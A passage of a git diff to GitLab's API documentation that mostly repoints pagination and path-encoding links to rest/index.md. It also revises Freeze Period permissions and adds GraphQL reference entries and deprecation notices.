+|------------------|----------------|----------|--------------------------------------------------------------------------------------| +| `id` | integer/string | yes | The ID or [URL-encoded path](rest/index.md#namespaced-path-encoding) of the project. | +| `environment_id` | integer | yes | The ID of the environment. | +| `force` | boolean | no | Force environment to stop without executing `on_stop` actions. | ```shell curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/environments/1/stop" @@ -423,7 +423,7 @@ POST /projects/:id/environments/stop_stale | Attribute | Type | Required | Description | |-----------|----------------|----------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path](rest/index.md#namespaced-path-encoding) of the project. | | `before` | date | yes | Stop environments that have been modified or deployed to before the specified date. Expected in ISO 8601 format (`2019-03-15T08:00:00Z`). Valid inputs are between 10 years ago and 1 week ago | ```shell diff --git a/doc/api/epic_issues.md b/doc/api/epic_issues.md index 28c74a0a418..9d3a32beb07 100644 --- a/doc/api/epic_issues.md +++ b/doc/api/epic_issues.md @@ -16,7 +16,7 @@ If the Epics feature is not available, a `403` status code is returned. ## Epic Issues pagination -API results [are paginated](index.md#pagination). Requests that return +API results [are paginated](rest/index.md#pagination). Requests that return multiple issues default to returning 20 results at a time. ## List issues for an epic @@ -29,7 +29,7 @@ GET /groups/:id/epics/:epic_iid/issues | Attribute | Type | Required | Description | | ------------------- | ---------------- | ---------- | ---------------------------------------------------------------------------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `epic_iid` | integer/string | yes | The internal ID of the epic. | ```shell @@ -124,7 +124,7 @@ POST /groups/:id/epics/:epic_iid/issues/:issue_id | Attribute | Type | Required | Description | | ------------------- | ---------------- | ---------- | ---------------------------------------------------------------------------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `epic_iid` | integer/string | yes | The internal ID of the epic. | | `issue_id` | integer/string | yes | The ID of the issue. | @@ -230,7 +230,7 @@ DELETE /groups/:id/epics/:epic_iid/issues/:epic_issue_id | Attribute | Type | Required | Description | | ------------------- | ---------------- | ---------- | -----------------------------------------------------------------------------------------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `epic_iid` | integer/string | yes | The internal ID of the epic. | | `epic_issue_id` | integer/string | yes | The ID of the issue - epic association. | @@ -336,7 +336,7 @@ PUT /groups/:id/epics/:epic_iid/issues/:epic_issue_id | Attribute | Type | Required | Description | | ------------------- | ---------------- | ---------- | -----------------------------------------------------------------------------------------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `epic_iid` | integer/string | yes | The internal ID of the epic. | | `epic_issue_id` | integer/string | yes | The ID of the issue - epic association. | | `move_before_id` | integer/string | no | The ID of the issue - epic association that should be placed before the link in the question. | diff --git a/doc/api/epic_links.md b/doc/api/epic_links.md index 91560512ffc..f46fa8e0989 100644 --- a/doc/api/epic_links.md +++ b/doc/api/epic_links.md @@ -28,7 +28,7 @@ GET /groups/:id/epics/:epic_iid/epics | Attribute | Type | Required | Description | | ---------- | -------------- | -------- | ------------------------------------------------------------------------------------------------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `epic_iid` | integer | yes | The internal ID of the epic. | ```shell @@ -82,7 +82,7 @@ POST /groups/:id/epics/:epic_iid/epics/:child_epic_id | Attribute | Type | Required | Description | | --------------- | -------------- | -------- | ------------------------------------------------------------------------------------------------------------------ | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `epic_iid` | integer | yes | The internal ID of the epic. | | `child_epic_id` | integer | yes | The global ID of the child epic. Internal ID can't be used because they can conflict with epics from other groups. | @@ -135,7 +135,7 @@ POST /groups/:id/epics/:epic_iid/epics | Attribute | Type | Required | Description | | --------------- | -------------- | -------- | ------------------------------------------------------------------------------------------------------------------ | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `epic_iid` | integer | yes | The internal ID of the (future parent) epic. | | `title` | string | yes | The title of a newly created epic. | | `confidential` | boolean | no | Whether the epic should be confidential. Parameter is ignored if `confidential_epics` feature flag is disabled. Defaults to the confidentiality state of the parent epic. | @@ -169,7 +169,7 @@ PUT /groups/:id/epics/:epic_iid/epics/:child_epic_id | Attribute | Type | Required | Description | | ---------------- | -------------- | -------- | ------------------------------------------------------------------------------------------------------------------ | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `epic_iid` | integer | yes | The internal ID of the epic. | | `child_epic_id` | integer | yes | The global ID of the child epic. Internal ID can't be used because they can conflict with epics from other groups. | | `move_before_id` | integer | no | The global ID of a sibling epic that should be placed before the child epic. | @@ -226,7 +226,7 @@ DELETE /groups/:id/epics/:epic_iid/epics/:child_epic_id | Attribute | Type | Required | Description | | --------------- | -------------- | -------- | ------------------------------------------------------------------------------------------------------------------ | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `epic_iid` | integer | yes | The internal ID of the epic. | | `child_epic_id` | integer | yes | The global ID of the child epic. Internal ID can't be used because they can conflict with epics from other groups. | diff --git a/doc/api/epics.md b/doc/api/epics.md index 85a127696f6..3d8e19a6e99 100644 --- a/doc/api/epics.md +++ b/doc/api/epics.md @@ -37,7 +37,7 @@ fields `start_date_is_fixed` and `due_date_is_fixed`, and four date fields `star By default, `GET` requests return 20 results at a time because the API results are paginated. -Read more on [pagination](index.md#pagination). +Read more on [pagination](rest/index.md#pagination). WARNING: In [GitLab 12.6](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/20354) and later, @@ -63,7 +63,7 @@ GET /groups/:id/epics?state=opened | Attribute | Type | Required | Description | | ------------------- | ---------------- | ---------- | --------------------------------------------------------------------------------------------------------------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `author_id` | integer | no | Return epics created by the given user `id` | | `author_username` | string | no | Return epics created by the user with the given `username`. Available in [GitLab 14.7](https://gitlab.com/gitlab-org/gitlab/-/issues/348257) and later | | `labels` | string | no | Return epics matching a comma-separated list of labels names. Label names from the epic group or a parent group can be used | @@ -203,7 +203,7 @@ GET /groups/:id/epics/:epic_iid | Attribute | Type | Required | Description | | ------------------- | ---------------- | ---------- | ---------------------------------------------------------------------------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `epic_iid` | integer/string | yes | The internal ID of the epic. | ```shell @@ -282,7 +282,7 @@ POST /groups/:id/epics | Attribute | Type | Required | Description | | ------------------- | ---------------- | ---------- | ---------------------------------------------------------------------------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `title` | string | yes | The title of the epic | | `labels` | string | no | The comma-separated list of labels | | `description` | string | no | The description of the epic. Limited to 1,048,576 characters. | @@ -371,7 +371,7 @@ PUT /groups/:id/epics/:epic_iid | Attribute | Type | Required | Description | | ------------------- | ---------------- | ---------- | ---------------------------------------------------------------------------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `epic_iid` | integer/string | yes | The internal ID of the epic | | `add_labels` | string | no | Comma-separated label names to add to an issue. | | `confidential` | boolean | no | Whether the epic should be confidential | @@ -451,7 +451,7 @@ DELETE /groups/:id/epics/:epic_iid | Attribute | Type | Required | Description | | ------------------- | ---------------- | ---------- | ---------------------------------------------------------------------------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `epic_iid` | integer/string | yes | The internal ID of the epic. | ```shell @@ -470,7 +470,7 @@ POST /groups/:id/epics/:epic_iid/todo | Attribute | Type | Required | Description | |-------------|---------|----------|--------------------------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `epic_iid` | integer | yes | The internal ID of a group's epic | ```shell diff --git a/doc/api/error_tracking.md b/doc/api/error_tracking.md index 4d6d5e50245..36bcbb30d4b 100644 --- a/doc/api/error_tracking.md +++ b/doc/api/error_tracking.md @@ -21,7 +21,7 @@ GET /projects/:id/error_tracking/settings | Attribute | Type | Required | Description | | --------- | ------- | -------- | --------------------- | -| `id` | integer | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | ```shell curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/error_tracking/settings" @@ -50,7 +50,7 @@ PATCH /projects/:id/error_tracking/settings | Attribute | Type | Required | Description | | ------------ | ------- | -------- | --------------------- | -| `id` | integer | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `active` | boolean | yes | Pass `true` to enable the already configured error tracking settings or `false` to disable it. | | `integrated` | boolean | no | Pass `true` to enable the integrated error tracking backend. [Available in](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/68260) GitLab 14.2 and later. | @@ -85,7 +85,7 @@ GET /projects/:id/error_tracking/client_keys | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | ```shell curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/error_tracking/client_keys" @@ -120,7 +120,7 @@ POST /projects/:id/error_tracking/client_keys | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | ```shell curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --header "Content-Type: application/json" \ @@ -148,7 +148,7 @@ DELETE /projects/:id/error_tracking/client_keys/:key_id | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `key_id` | integer | yes | The ID of the client key. | ```shell diff --git a/doc/api/events.md b/doc/api/events.md index 320c7a531e8..493f8f43bfd 100644 --- a/doc/api/events.md +++ b/doc/api/events.md @@ -264,7 +264,7 @@ Parameters: | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `project_id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `project_id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | | `action` | string | no | Include only events of a particular [action type](#actions) | | `target_type` | string | no | Include only events of a particular [target type](#target-types) | | `before` | date | no | Include only events created before a particular date. [View how to format dates](#date-formatting). | diff --git a/doc/api/feature_flag_user_lists.md b/doc/api/feature_flag_user_lists.md index ca4ca755d08..27e2e925506 100644 --- a/doc/api/feature_flag_user_lists.md +++ b/doc/api/feature_flag_user_lists.md @@ -15,7 +15,7 @@ Users with Developer or higher [permissions](../user/permissions.md) can access NOTE: `GET` requests return twenty results at a time because the API results -are [paginated](index.md#pagination). You can change this value. +are [paginated](rest/index.md#pagination). You can change this value. ## List all feature flag user lists for a project @@ -27,7 +27,7 @@ GET /projects/:id/feature_flags_user_lists | Attribute | Type | Required | Description | | --------- | -------------- | -------- | -------------------------------------------------------------------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | | `search` | string | no | Return user lists matching the search criteria. | ```shell @@ -69,7 +69,7 @@ POST /projects/:id/feature_flags_user_lists | Attribute | Type | Required | Description | | ------------------- | ---------------- | ---------- | ---------------------------------------------------------------------------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | | `name` | string | yes | The name of the list. | | `user_xids` | string | yes | A comma-separated list of external user IDs. | @@ -109,7 +109,7 @@ GET /projects/:id/feature_flags_user_lists/:iid | Attribute | Type | Required | Description | | ------------------- | ---------------- | ---------- | ---------------------------------------------------------------------------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | | `iid` | integer/string | yes | The internal ID of the project's feature flag user list. | ```shell @@ -140,7 +140,7 @@ PUT /projects/:id/feature_flags_user_lists/:iid | Attribute | Type | Required | Description | | ------------------- | ---------------- | ---------- | ---------------------------------------------------------------------------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | | `iid` | integer/string | yes | The internal ID of the project's feature flag user list. | | `name` | string | no | The name of the list. | | `user_xids` | string | no | A comma-separated list of external user IDs. | @@ -181,7 +181,7 @@ DELETE /projects/:id/feature_flags_user_lists/:iid | Attribute | Type | Required | Description | | ------------------- | ---------------- | ---------- | ---------------------------------------------------------------------------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | | `iid` | integer/string | yes | The internal ID of the project's feature flag user list | ```shell diff --git a/doc/api/feature_flags.md b/doc/api/feature_flags.md index 4b385a35405..cd9907c8032 100644 --- a/doc/api/feature_flags.md +++ b/doc/api/feature_flags.md @@ -16,7 +16,7 @@ Users with Developer or higher [permissions](../user/permissions.md) can access ## Feature flags pagination By default, `GET` requests return 20 results at a time because the API results -are [paginated](index.md#pagination). +are [paginated](rest/index.md#pagination). ## List feature flags for a project @@ -28,7 +28,7 @@ GET /projects/:id/feature_flags | Attribute | Type | Required | Description | | ------------------- | ---------------- | ---------- | --------------------------------------------------------------------------------------------------------------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | | `scope` | string | no | The condition of feature flags, one of: `enabled`, `disabled`. | ```shell @@ -98,7 +98,7 @@ GET /projects/:id/feature_flags/:feature_flag_name | Attribute | Type | Required | Description | | ------------------- | ---------------- | ---------- | ---------------------------------------------------------------------------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | | `feature_flag_name` | string | yes | The name of the feature flag. | ```shell @@ -142,13 +142,13 @@ POST /projects/:id/feature_flags | Attribute | Type | Required | Description | | ------------------- | ---------------- | ---------- | ---------------------------------------------------------------------------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | | `name` | string | yes | The name of the feature flag. | | `version` | string | yes | The version of the feature flag. Must be `new_version_flag`. Omit to create a Legacy feature flag. | | `description` | string | no | The description of the feature flag. | | `active` | boolean | no | The active state of the flag. Defaults to true. [Supported](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/38350) in GitLab 13.3 and later. | | `strategies` | JSON | no | The feature flag [strategies](../operations/feature_flags.md#feature-flag-strategies). | -| `strategies:name` | JSON | no | The strategy name. Can be `default`, `gradualRolloutUserId`, `userWithId`, or `gitlabUserList`. In [GitLab 13.5](https://gitlab.com/gitlab-org/gitlab/-/issues/36380) and later, can be [`flexibleRollout`](https://docs.getunleash.io/user_guide/activation_strategy#gradual-rollout). | +| `strategies:name` | JSON | no | The strategy name. Can be `default`, `gradualRolloutUserId`, `userWithId`, or `gitlabUserList`. In [GitLab 13.5](https://gitlab.com/gitlab-org/gitlab/-/issues/36380) and later, can be [`flexibleRollout`](https://docs.getunleash.io/user_guide/activation_strategy/#gradual-rollout). | | `strategies:parameters` | JSON | no | The strategy parameters. | | `strategies:scopes` | JSON | no | The scopes for the strategy. | | `strategies:scopes:environment_scope` | string | no | The environment scope of the scope. | @@ -203,7 +203,7 @@ PUT /projects/:id/feature_flags/:feature_flag_name | Attribute | Type | Required | Description | | ------------------- | ---------------- | ---------- | ---------------------------------------------------------------------------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | | `feature_flag_name` | string | yes | The current name of the feature flag. | | `description` | string | no | The description of the feature flag. | | `active` | boolean | no | The active state of the flag. [Supported](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/38350) in GitLab 13.3 and later. | @@ -280,7 +280,7 @@ DELETE /projects/:id/feature_flags/:feature_flag_name | Attribute | Type | Required | Description | | ------------------- | ---------------- | ---------- | ---------------------------------------------------------------------------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | | `feature_flag_name` | string | yes | The name of the feature flag. | ```shell diff --git a/doc/api/features.md b/doc/api/features.md index 819405bea77..c3db1e53f68 100644 --- a/doc/api/features.md +++ b/doc/api/features.md @@ -116,7 +116,7 @@ POST /features/:name | `name` | string | yes | Name of the feature to create or update | | `value` | integer/string | yes | `true` or `false` to enable/disable, or an integer for percentage of time | | `key` | string | no | `percentage_of_actors` or `percentage_of_time` (default) | -| `feature_group` | string | no | A Feature group name | +| `feature_group` | string | no | A [Feature group](../development/feature_flags/index.md#feature-groups) name | | `user` | string | no | A GitLab username or comma-separated multiple usernames | | `group` | string | no | A GitLab group's path, for example `gitlab-org`, or comma-separated multiple group paths | | `namespace` | string | no | A GitLab group or user namespace's path, for example `john-doe`, or comma-separated multiple namespace paths. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/353117) in GitLab 15.0. | diff --git a/doc/api/freeze_periods.md b/doc/api/freeze_periods.md index 9d2989229ae..ce7377e1e35 100644 --- a/doc/api/freeze_periods.md +++ b/doc/api/freeze_periods.md @@ -13,8 +13,9 @@ You can use the Freeze Periods API to manipulate GitLab [Freeze Period](../user/ ## Permissions and security -Only users with Maintainer [permissions](../user/permissions.md) can -interact with the Freeze Period API endpoints. +Users with Reporter [permissions](../user/permissions.md) or greater can read +Freeze Period API endpoints. Only users with the Maintainer role can modify +Freeze Periods. ## List freeze periods @@ -26,7 +27,7 @@ GET /projects/:id/freeze_periods | Attribute | Type | Required | Description | | ------------- | -------------- | -------- | ----------------------------------------------------------------------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | Example request: @@ -59,7 +60,7 @@ GET /projects/:id/freeze_periods/:freeze_period_id | Attribute | Type | Required | Description | | ------------- | -------------- | -------- | ----------------------------------------------------------------------------------- | -| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | | `freeze_period_id` | integer | yes | The ID of the freeze period. | Example request: @@ -91,7 +92,7 @@ POST /projects/:id/freeze_periods | Attribute | Type | Required | Description | | -------------------| --------------- | -------- | -------------------------------------------------------------------------------------------------------------------------------- | -| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | | `freeze_start` | string | yes | Start of the freeze period in [cron](https://crontab.guru/) format. | | `freeze_end` | string | yes | End of the freeze period in [cron](https://crontab.guru/) format. | | `cron_timezone` | string | no | The time zone for the cron fields, defaults to UTC if not provided. | @@ -127,7 +128,7 @@ PUT /projects/:id/freeze_periods/:freeze_period_id | Attribute | Type | Required | Description | | ------------- | --------------- | -------- | ----------------------------------------------------------------------------------------------------------- | -| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | | `freeze_period_id` | integer | yes | The ID of the freeze period. | | `freeze_start` | string | no | Start of the freeze period in [cron](https://crontab.guru/) format. | | `freeze_end` | string | no | End of the freeze period in [cron](https://crontab.guru/) format. | @@ -164,7 +165,7 @@ DELETE /projects/:id/freeze_periods/:freeze_period_id | Attribute | Type | Required | Description | | ------------- | -------------- | -------- | ----------------------------------------------------------------------------------- | -| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | | `freeze_period_id` | integer | yes | The ID of the freeze period. | Example request: diff --git a/doc/api/geo_nodes.md b/doc/api/geo_nodes.md index 5f9323016c0..0b0dd543503 100644 --- a/doc/api/geo_nodes.md +++ b/doc/api/geo_nodes.md @@ -953,7 +953,7 @@ GET /geo_nodes/current/failures | `type` | string | no | Type of failed objects (`repository`/`wiki`) | | `failure_type` | string | no | Type of failures (`sync`/`checksum_mismatch`/`verification`) | -This endpoint uses [Pagination](index.md#pagination). +This endpoint uses [Pagination](rest/index.md#pagination). ```shell curl --header "PRIVATE-TOKEN: <your_access_token>" "https://primary.example.com/api/v4/geo_nodes/current/failures" diff --git a/doc/api/graphql/custom_emoji.md b/doc/api/graphql/custom_emoji.md index e2e8bce4290..9c794a080c9 100644 --- a/doc/api/graphql/custom_emoji.md +++ b/doc/api/graphql/custom_emoji.md @@ -20,7 +20,7 @@ Parameters: | Attribute | Type | Required | Description | | :----------- | :------------- | :--------------------- | :------------------------------------------------------------------------ | -| `group_path` | integer/string | **{check-circle}** Yes | ID or [URL-encoded path of the group](../index.md#namespaced-path-encoding) | +| `group_path` | integer/string | **{check-circle}** Yes | ID or [URL-encoded path of the group](../rest/index.md#namespaced-path-encoding) | | `name` | string | **{check-circle}** Yes | Name of the custom emoji. | | `file` | string | **{check-circle}** Yes | URL of the custom emoji image. | diff --git a/doc/api/graphql/getting_started.md b/doc/api/graphql/getting_started.md index 9f423d68d3b..57d7880988b 100644 --- a/doc/api/graphql/getting_started.md +++ b/doc/api/graphql/getting_started.md @@ -173,7 +173,7 @@ More about queries: Authorization uses the same engine as the GitLab application (and GitLab.com). If you've signed in to GitLab and use GraphiQL, all queries are performed as you, the authenticated user. For more information, read the -[GitLab API documentation](../index.md#authentication). +[GitLab API documentation](../rest/index.md#authentication). ### Mutations diff --git a/doc/api/graphql/index.md b/doc/api/graphql/index.md index 320e7cbcfc1..4286d459e54 100644 --- a/doc/api/graphql/index.md +++ b/doc/api/graphql/index.md @@ -75,7 +75,7 @@ frequently [verify your API calls against the future breaking-change schema](#ve Fields behind a feature flag and disabled by default do not follow the deprecation and removal process, and can be removed at any time without notice. -Learn more about [breaking changes](../../development/deprecation_guidelines/index.md). +For more information, see [Deprecating GitLab features](../../development/deprecation_guidelines/index.md). WARNING: GitLab makes all attempts to follow the [deprecation and removal process](#deprecation-and-removal-process). @@ -172,7 +172,7 @@ Limit | Default Max page size | 100 records (nodes) per page. Applies to most connections in the API. Particular connections may have different max page size limits that are higher or lower. [Max query complexity](#max-query-complexity) | `200` for unauthenticated requests and `250` for authenticated requests. Request timeout | 30 seconds. -Max query size | 10,000 characters per query. If this limit is reached, use [variables](https://graphql.org/learn/queries/#variables) and [fragments](https://graphql.org/learn/queries/#fragments) to reduce the query size. Remove white spaces as last resort. +Max query size | 10,000 characters per query or mutation. If this limit is reached, use [variables](https://graphql.org/learn/queries/#variables) and [fragments](https://graphql.org/learn/queries/#fragments) to reduce the query or mutation size. Remove white spaces as last resort. ### Max query complexity diff --git a/doc/api/graphql/reference/index.md b/doc/api/graphql/reference/index.md index 4bd7702474f..7dc5b557d33 100644 --- a/doc/api/graphql/reference/index.md +++ b/doc/api/graphql/reference/index.md @@ -97,6 +97,12 @@ This field returns a [connection](#connections). It accepts the four standard [pagination arguments](#connection-pagination-arguments): `before: String`, `after: String`, `first: Int`, `last: Int`. +#### Arguments + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="querycivariablessort"></a>`sort` | [`CiVariableSort`](#civariablesort) | Sort order of results. | + ### `Query.containerRepository` Find a container repository. @@ -196,6 +202,22 @@ Returns [`Group`](#group). | ---- | ---- | ----------- | | <a id="querygroupfullpath"></a>`fullPath` | [`ID!`](#id) | Full path of the project, group, or namespace. For example, `gitlab-org/gitlab-foss`. | +### `Query.groups` + +Find groups. + +Returns [`GroupConnection`](#groupconnection). + +This field returns a [connection](#connections). It accepts the +four standard [pagination arguments](#connection-pagination-arguments): +`before: String`, `after: String`, `first: Int`, `last: Int`. + +#### Arguments + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="querygroupssearch"></a>`search` | [`String`](#string) | Search query for group name or group full path. | + ### `Query.instanceSecurityDashboard` Fields related to Instance Security Dashboard. @@ -216,7 +238,7 @@ Returns [`Issue`](#issue). ### `Query.issues` -Find issues visible to the current user. At least one filter must be provided. Returns `null` if the `root_level_issues_query` feature flag is disabled. +Find issues visible to the current user. At least one filter must be provided. WARNING: **Introduced** in 15.6. @@ -345,6 +367,22 @@ Returns [`Namespace`](#namespace). | ---- | ---- | ----------- | | <a id="querynamespacefullpath"></a>`fullPath` | [`ID!`](#id) | Full path of the project, group, or namespace. For example, `gitlab-org/gitlab-foss`. | +### `Query.note` + +Find a note. + +WARNING: +**Introduced** in 15.9. +This feature is in Alpha. It can be changed or removed at any time. + +Returns [`Note`](#note). + +#### Arguments + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="querynoteid"></a>`id` | [`NoteID!`](#noteid) | Global ID of the note. | + ### `Query.package` Find a package. This field can only be resolved for one query in any single request. Returns `null` if a package has no `default` status. @@ -389,6 +427,8 @@ four standard [pagination arguments](#connection-pagination-arguments): | <a id="queryprojectssearchnamespaces"></a>`searchNamespaces` | [`Boolean`](#boolean) | Include namespace in project search. | | <a id="queryprojectssort"></a>`sort` | [`String`](#string) | Sort order of results. Format: `<field_name>_<sort_direction>`, for example: `id_desc` or `name_asc`. | | <a id="queryprojectstopics"></a>`topics` | [`[String!]`](#string) | Filter projects by topics. | +| <a id="queryprojectswithissuesenabled"></a>`withIssuesEnabled` | [`Boolean`](#boolean) | Return only projects with issues enabled. | +| <a id="queryprojectswithmergerequestsenabled"></a>`withMergeRequestsEnabled` | [`Boolean`](#boolean) | Return only projects with merge requests enabled. | ### `Query.queryComplexity` @@ -412,6 +452,10 @@ Returns [`CiRunner`](#cirunner). Supported runner platforms. +WARNING: +**Deprecated** in 15.9. +No longer used, use gitlab-runner documentation to learn about supported platforms. + Returns [`RunnerPlatformConnection`](#runnerplatformconnection). This field returns a [connection](#connections). It accepts the @@ -422,6 +466,10 @@ four standard [pagination arguments](#connection-pagination-arguments): Runner setup instructions. +WARNING: +**Deprecated** in 15.9. +No longer used, use 